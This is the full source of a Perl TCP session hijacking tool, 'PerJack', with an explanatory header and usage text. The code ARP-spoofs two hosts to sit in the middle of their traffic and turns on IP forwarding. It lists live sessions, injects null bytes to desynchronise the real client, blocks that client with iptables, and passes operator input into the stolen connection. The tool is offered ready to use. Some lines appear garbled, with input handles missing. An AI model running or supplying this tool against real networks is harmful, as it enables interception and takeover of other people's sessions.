#!/usr/bin/perl # PerJack # by Cheese =begin INFO PerJack is a TCP Session Hijack tool written in Perl. The tools I've tested don't worked anyway for me or got other problems like don't sending ACKs for incoming hijacked data. Then I discovered some interesting modules for Perl which i thought can handle the term of TCP session hijacking. PerJack got some parts that really are not optimal but are simple and work perfect, so in case of block packets from the original keeper of the connection it uses /sbin/iptables and so on. It requires following additional Perl modules, you should install them with CPAN. Run "cpan" and install with "install " Net::Arp Net::RawIP Net::Pcap Net::Pcap::Easy The "iptables" programm is required, you may flush your forward rules after using PerJack, "iptables -F FORWARD". In case of doing a Man-in-the-Middle attack "ip_forward" is used, the file to activate this should be located at "/proc/sys/ipv4/ip_forward" but the path can be changed at the start of the code. To run PerJack you have to specify an [A] and [B] host, [A] is the side of the connection you are going to steal [B] is the other side or if the real target is not in the subnet the gateway. Perjack first resolves the MAC addresses (if they are not specified at start), you should ping them first to cache the MAC's. Then it sends a spoofed ARP packet to start a man-in-the-middle attack. All sessions that are noticed are printed to the display, you have to choose the on you want to hijack by typing in the number. After that PerJack waits for another packet transferred from [A] to [B] in order to get a working SEQ / ACK. As soon a packet is found it will send 1024 bytes of 0x00 to [B], so the [A] host is desynchronised. Now everything you enter is send in the hijacked session. Incoming data is printed to the screen and answered with an ACK packet. The [A] host is blocked using iptables because he is able to reset the connection even if he is desynced. =end INFO =cut our $iptables = "/sbin/iptables"; our $ip_forward = "/proc/sys/net/ipv4/ip_forward"; print q{ myCheese.org cheese@mymail.ch ============================================================================= _________ __ | ___ | | | _ | | / / ____ _ ____ | | ____ _____ | | _ | |_/ / / __ \ | |/ ___| | | |____ \ | ___| | | / / | ___/ / /__\ \ | / | | ____| | | | | |/ / | | | _____/ | | __ | | / __ | | | | | | | \ \____ | | | \__| | | |__| | \ \__ | |\ \ |__| \____/ |_| \_______/ \______/ \___| |_| \_\ by Cheese -=[ PerJack ]=- -=[ Perl TCP Session Hijacker ]=- ============================================================================== }; sub usage { print q{ Usage: ./perjack.pl [OPTIONS] Options: FLAG DISCRIPTION DEFAULT -i Interface to use eth0 -a IP address of the first target (A) (required) -b IP address of the second target (B) (required) -A MAC address of the first target (A) (auto) -B MAC address of the second target (B) (auto) -x MAC address of the attacker (you) (auto) -s Sleeptime between "reARPing" 10 -n No Man-in-the-Middle attack -h This help text }; exit; } use Net::ARP; use Net::RawIP; use Net::Pcap::Easy; use strict; use Getopt::Std; use threads; use threads::shared; use Switch; no warnings 'threads'; if($< != 0){ die(" [!] Error: are you root?"); } our ($opt_a,$opt_b,$opt_A,$opt_B,$opt_x,$opt_h,$opt_i,$opt_s,$opt_n); getopts('a:b:A:B:x:h:i:s:n'); if($opt_h || !$opt_a) { usage(); } (our $iface = $opt_i) ||= "eth0"; print " [*] Using interface $iface.\n"; our($a_ip) = $opt_a =~ m/((\d+)(\.\d+){3})/; if(length($a_ip)<7) { die(" [!] Error: bad IP address for target A"); } else { print " [*] Using $a_ip for target A.\n" } if(!$opt_n) { our($b_ip) = $opt_b =~ m/((\d+)(\.\d+){3})/; if(length($b_ip)<7) { die(" [!] Error: bad IP address for target B"); } else { print " [*] Using $b_ip for target B.\n" } (our $my_mac = $opt_x) ||= Net::ARP::get_mac($iface); #thx to 0x30 our($my_mac) = $my_mac =~ m/(([0-9A-F]{2})(:[0-9A-F]{2}){5})/i; if(length($my_mac)!=17) { die(" [!] Error: bad mac address for attacker"); } else { print " [*] Using $my_mac as attacker mac address.\n"; } (our $a_mac = $opt_A) ||= Net::ARP::arp_lookup($iface,$a_ip); our($a_mac) = $a_mac =~ m/(([0-9A-F]{2})(:[0-9A-F]{2}){5})/i; if(length($a_mac) != 17) { die(" [!] Error: bad mac address for target A, ping him to cache mac address and try again."); } else { print " [*] Using $a_mac as target A mac address.\n" } (our $b_mac = $opt_B) ||= Net::ARP::arp_lookup($iface,$b_ip); our($b_mac) = $b_mac =~ m/(([0-9A-F]{2})(:[0-9A-F]{2}){5})/i; if(length($b_mac) != 17) { die(" [!] Error: bad mac address for target B, ping him to cache mac address and try again."); } else { print " [*] Using $b_mac as target B mac address.\n" } open FILE, "<", $ip_forward or die $!; if( == 1) { print " [*] IP Forwarding already active.\n"; close FILE or die $!;} else { close FILE or die $!; print " [!] IP Forwarding seems off.\n"; our $loop = 1; while($loop) { undef $loop; print " [!] Activate by writing '1' to '$ip_forward'? ([Y]es/[N]o/[I]gnore): "; switch() { case m/^y/i { open FILE, ">", $ip_forward or die $!; print FILE 1; close FILE or die $!; open FILE, "<", $ip_forward or die $!; if( == 1) { print " [*] IP Forwarding now active.\n"; close FILE or die $!;} else { die(" [!] Error: failed to activate IP Forwarding."); } } case m/^n/i { exit; } case m/^i/i { print " [*] Continuing.\n"; } else { our $loop = 1; } } } } (my $sleep = $opt_s) ||= 10; my($sleep) = $sleep =~ m/([0-9]*)/; if(length($sleep)<1) { die(" [!] Error: bad sleep time") } else { print " [*] Using $sleep seconds sleeptime.\n"; } print " [*] Sending ARP packets every $sleep seconds.\n"; sub arp { while(1) { Net::ARP::send_packet($iface,$b_ip,$a_ip,$my_mac,$a_mac,'reply') or die (" [!] Error: problem sending ARP Packet"); Net::ARP::send_packet($iface,$a_ip,$b_ip,$my_mac,$b_mac,'reply') or die (" [!] Error: problem sending ARP Packet"); sleep($sleep); } } my $arp_thread = new threads \&arp; } print "\n [*] Enter the number of the session you want to hijack.\n"; print " [*] Sessions:\n"; ### # Sniffing for Connections my @sessions : shared; my $sessioncount : shared = 0; sub getsessions { $SIG{'KILL'} = sub { threads->exit(); }; my $npe = Net::Pcap::Easy->new( dev => $iface, filter => "src host $a_ip and tcp", packets_per_loop => 10, bytes_to_capture => 1024, timeout_in_ms => 0, # 0ms means forever promiscuous => 0, tcp_callback => sub { my ($npe, $ether, $ip, $tcp) = @_; if($ip->{src_ip}!=$a_ip){ return; } foreach(@sessions) { if($_ eq "$ip->{src_ip}:$tcp->{src_port} --> $ip->{dest_ip}:$tcp->{dest_port}") { return; } } $sessions[$sessioncount] = "$ip->{src_ip}:$tcp->{src_port} --> $ip->{dest_ip}:$tcp->{dest_port}"; print " [$sessioncount] $sessions[$sessioncount]\n"; $sessioncount++; } ); 1 while $npe->loop; } my $getsessions_thread = new threads \&getsessions; our $choice; our $loop = 1; while($loop) { $choice = ; if($choice<$sessioncount) { undef $loop; } } $getsessions_thread->kill("KILL"); our($h_src_ip,$h_src_port,$h_dst_ip,$h_dst_port) = $sessions[$choice] =~ m/^([0-9.]+):(\d+) --> ([0-9.]+):(\d+)$/; print "\n [*] Hijacking: $h_src_ip:$h_src_port --> $h_dst_ip:$h_dst_port\n"; print " [*] Wait for packet to get seq and ack.\n"; our($h_seq,$h_ack,$h_data); my $npe = Net::Pcap::Easy->new( dev => $iface, filter => "src host $h_src_ip and src port $h_src_port and dst host $h_dst_ip and dst port $h_dst_port and tcp", packets_per_loop => 1, bytes_to_capture => 1024, timeout_in_ms => 0, promiscuous => 0, tcp_callback => sub { my ($npe, $ether, $ip, $tcp) = @_; our($h_seq,$h_ack,$h_data) = ($tcp->{seqnum},$tcp->{acknum},$tcp->{data}); } ); $npe->loop; print " [*] SEQ: $h_seq, ACK: $h_ack\n"; $h_seq += length($h_data); #send 1024 byte to desync real client sendrawpacket($h_src_ip,$h_dst_ip,$h_src_port,$h_dst_port,$h_seq,$h_ack,1,0,"\x00"x1024); $h_seq += 1024; #start tcp daemon to senc ack for incoming packets and print the incoming data my $tcpdaemon_thread = new threads \&tcpdaemon; system("$iptables -A FORWARD -s $h_src_ip -p tcp --sport $h_src_port -j DROP"); # this sucks like hell, but the real client is still able to RST connection if he trys to exit system("$iptables -A FORWARD -d $h_src_ip -p tcp --dport $h_src_port -j DROP"); print " [*] Everything you enter is send through the hijacked session\n" . "-"x70 . "\n"; #input loop while(1) { my $data = ; sendrawpacket($h_src_ip,$h_dst_ip,$h_src_port,$h_dst_port,$h_seq,$h_ack,1,0,$data); $h_seq += length($data); } ### # subroutines # TCP daeomon to answer packetes and print content sub tcpdaemon() { my $npe = Net::Pcap::Easy->new( dev => $iface, filter => "src host $h_dst_ip and src port $h_dst_port and dst host $h_src_ip and dst port $h_src_port and tcp", packets_per_loop => 1, bytes_to_capture => 1024, timeout_in_ms => 0, promiscuous => 0, tcp_callback => sub { my ($npe, $ether, $ip, $tcp) = @_; if($tcp->{seqnum} == $h_ack) { $h_seq = $tcp->{acknum}; if(length($tcp->{data}) > 0) { $h_ack += length($tcp->{data}); sendrawpacket($h_src_ip,$h_dst_ip,$h_src_port,$h_dst_port,$h_seq,$h_ack,1,0,''); syswrite(STDOUT,$tcp->{data}); } } } ); 1 while $npe->loop; } # just send a single packet sub sendrawpacket() { my $n = Net::RawIP->new({ ip => { saddr => shift, daddr => shift, }, tcp => { source => shift, dest => shift, seq => shift, ack_seq => shift, ack => shift, rst => shift, data => shift, }, }); $n->send; }